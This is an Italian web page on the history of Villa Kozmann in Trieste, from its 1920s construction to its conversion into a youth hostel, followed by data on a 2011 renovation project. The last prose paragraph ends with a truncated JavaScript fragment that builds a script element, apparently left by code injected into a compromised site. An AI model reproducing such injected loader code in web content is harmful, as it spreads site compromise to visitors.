Secondo quanto riporta lo Zubini (1997), negli anni 1925-1926, il signor Attilio Kozmann, proprietario di uno stabilimento industriale per la fabbricazione di stufe e cucine, si fece costruire un’elegante villa nelle vicinanze del Castello Miramare. A questo scopo acquistò un ampio lotto nel tratto di terreno che si trova nei pressi del cosiddetto bivio Miramare. L’industriale affidò il progetto all’architetto triestino Nicolò Drioli mentre la costruzione della villa fu affidata alla ditta di Luigi Martelanz, di notevole importanza. L’edificio presenta una pianta allungata e mossa che sfrutta intelligentemente lo stretto lotto a disposizione; tale lotto è confinante con un alto muraglione di controripa della rampa iniziale della Strada Costiera e il sottostante Viale Miramare. La villa si componeva originariamente di due nuclei accostati: uno, di forma rettangolare, ospita l’atrio d’accesso principale e le stanze da letto; l’altro, di forma quadrata, ospita il soggiorno e gli altri servizi al piano terra, sporgendo notevolmente sul filo della facciata. Nella parte posteriore di questo secondo nucleo è inserita la torretta Belvedere che, svettando per circa dodici metri e sovrastando l’edificio per più di un piano, dà l’impressione di essere collocata al centro della composizione.
Durante il cantiere vennero apportate numerose modifiche al progetto originario, come quella che vide la cancellazione dei due ulteriori ingressi all’edificio, mai realizzati. Come le ville e le case ottocentesche del rione di Barcola, il quartiere sul mare nel quale la costruzione si colloca, anche la Villa Kozmann si dispone ad un’altezza di quattro-cinque metri dal piano strada di Viale Miramare, da cui risulta separata grazie alla presenza di un alto muro di contenimento, che protegge la villa anche dalle mareggiate. Il muraglione, scandito da pilastri aggettanti e completato con un’elegante balaustra, comprende l’accesso pedonale al complesso, raggiunto attraverso tre rampe di scale che da qui salgono, scavate nel terreno.
Con il tempo ulteriori modifiche vennero apportate all’impianto originario: fu eliminato il portico della facciata principale ed aggiunto un poggiolo a colonnine in pietra artificiale al primo piano; anche il tetto del piccolo portico sul lato sinistro venne modificato per fare spazio ad un terrazzino. Insieme a tali modifiche strutturali venne modificato anche l’apparato decorativo: ammorzature a mo’ di bugne lisce (anteridi) vennero aggiunte per sottolineare gli spigolo del corpo quadrato e un timpano in pietra artificiale andò ad arricchire la porta finestra centrale della facciata principale.
Durante gli anni Cinquanta del Novecento la villa divenne sede dell'”Albergo della gioventù” e fu acquisita dall’A.I.G. Tale passaggio di proprietà comportò ulteriori lavori di adeguamento funzionale, con l’obiettivo di aumentarne le capacità ricettive. A tale scopo l’architetto Piero Vascotto progettò una nuova ala che, collocata sulla destra della villa grazie alla completa demolizione del piano seminterrato originario, si componeva di un alto piano interrato (4.40 m)e di un piano terra, con sovrastante ampia terrazza superiore.
Ulteriori modifiche hanno interessato il complesso negli anni successivi; ognuna di queste si è caratterizzata per l’estremo rispetto delle preesistenze architettoniche, così da lasciare all’edificio il tipico aspetto di dimora residenziale della borghesia triestina di primo Novecento, situata sul mare in una posizione incantevole: la ex villa Kozmann costituisce, pertanto, uno fra i più significativi esempi dello sviluppo urbanistico e architettonico della tipologia residenziale della riviera triestina, tarda testimonianza di quel gusto storicista di matrice ottocentesca che, pur con alcune contaminazioni di eco razionalista, sopravvive ancora negli anni Venti del Novecento.
I lavori di adeguamento funzionale delle strutture hanno avuto lo scopo di introdurre nuove aree dedicate allo svolgimento di attività giornalistiche, letterarie e multimediali. var d=document;var s=d.createElement(‘script’);

Natura dell'opera: Lavori di adeguamento funzionale delle strutture coinvolte nel "Progetto OstelloIN"
Committente: A.I.G. Associazione Italiana Alberghi per la Gioventù Via Cavour N. 44 - Roma
Indirizzo di cantiere: 1 - Bologna
2 - Cagliari
3 - Firenze
4 - Genova
5 - Matera
6 - Napoli
7 - Perugia
8 - Trieste
Importo dei lavori: € 1.311.040,23 oltre IVA
Categoria soa: OG 1 OG 11 OS 6
Direttore di cantiere: Arch. Simone Massimilla
Direttore dei lavori: Arch. Gennaro Scarpino
Anno di realizzazione: 2011